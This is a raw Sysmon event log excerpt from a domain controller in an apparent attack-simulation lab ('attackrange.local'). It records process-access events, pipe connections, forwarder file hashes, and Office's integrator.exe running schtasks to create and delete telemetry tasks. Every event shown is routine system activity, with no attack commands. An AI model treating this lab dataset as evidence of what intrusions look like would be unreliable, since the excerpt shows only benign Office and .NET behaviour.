14:44:10.127{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.127{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9abc5|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f14fd|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.136{7BD73061-6F3A-613B-B908-00000000F001}1944C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Delete /F /tn "Microsoft\Office\OfficeTelemetryAgentFallBack2016"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 11241100x800000000000000041701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localT10532021-09-10 14:44:10.112{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn20162021-09-10 14:41:14.492 10341000x800000000000000041700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.112{7BD73061-65B0-613B-0B00-00000000F001}620660C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.112{7BD73061-65B0-613B-0B00-00000000F001}620660C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.112{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B808-00000000F001}4616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.112{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F3A-613B-B808-00000000F001}4616C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000041696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.112{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000041695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:10.112{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000041694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.096{7BD73061-6F3A-613B-B708-00000000F001}57201092C:\Windows\system32\conhost.exe{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=32E73FCF4CBE1F9DD1A11427A81B8BBF,SHA256=B415A192E4D5E3DE8853D3E89D54A1730E6881EE7BB2A24E135E396AD65E2CBA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000041692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=FF1C7C7A65E4295DBACB094AC6BD0C3E,SHA256=58AADF768E982F322CC19046621A1503EA34B033354650978705CB02D260593E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.096{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B708-00000000F001}5720C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.096{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.096{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041686Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000041685Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-6F39-613B-9F08-00000000F001}33286128C:\Program Files\Microsoft Office\root\integration\integrator.exe{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\system32\schtasks.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a0a1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9a250|C:\Program Files\Microsoft Office\root\integration\integrator.exe+9aa0a|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f1bd1|C:\Program Files\Microsoft Office\root\integration\integrator.exe+2f0282|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13e3d|C:\Program Files\Microsoft Office\root\integration\integrator.exe+13475|C:\Program Files\Microsoft Office\root\integration\integrator.exe+27fb9|C:\Program Files\Microsoft Office\root\integration\integrator.exe+351b08|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000041684Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.095{7BD73061-6F3A-613B-B608-00000000F001}6652C:\Windows\System32\schtasks.exe10.0.14393.0 (rs1_release.160715-1616)Task Scheduler Configuration ToolMicrosoft® Windows® Operating SystemMicrosoft Corporationsctasks.exeschtasks.exe /Create /tn "Microsoft\Office\OfficeTelemetryAgentLogOn2016" /XML "C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\Microsoft_Office_OfficeTelemetryAgentLogOn2016.xml"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=EEB7A2162E4DBE32B56BEB84658483AE,SHA256=A9A4FD9C1BB7C5CF8F77F761CAE60F4AC4AFB8DAEEBB46B3AD6983D5E599CDC1,IMPHASH=8AC94113AD25518D369E4EE37BEDAB4F{7BD73061-6F39-613B-9F08-00000000F001}3328C:\Program Files\Microsoft Office\root\Integration\Integrator.exeintegrator.exe /I /Extension /Msi MsiName=C2RInt.16.msi,C2RIntLoc.en-us.16.msi,* PackageGUID="9AC08E99-230B-47e8-9721-4577B7F124EA" PackageRoot="C:\Program Files\Microsoft Office\root" 10341000x800000000000000041683Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F3A-613B-B508-00000000F001}5064C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000041682Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65B2-613B-1600-00000000F001}1296NT AUTHORITY\SYSTEMC:\Windows\system32\svchost.exeC:\Windows\System32\Tasks\Microsoft\Office\OfficeTelemetryAgentLogOn2016MD5=98670F0640CC0F06B7F140F9AF9A9A54,SHA256=13CA30B7D54E93F81D26858A418427B84D28D3C1C6AEE23D98022B944C236E22,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000041681Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\system32\schtasks.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041680Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:10.081{7BD73061-65B0-613B-0B00-00000000F001}620828C:\Windows\system32\lsass.exe{7BD73061-6F3A-613B-B308-00000000F001}7140C:\Windows\system32\schtasks.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000041679Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 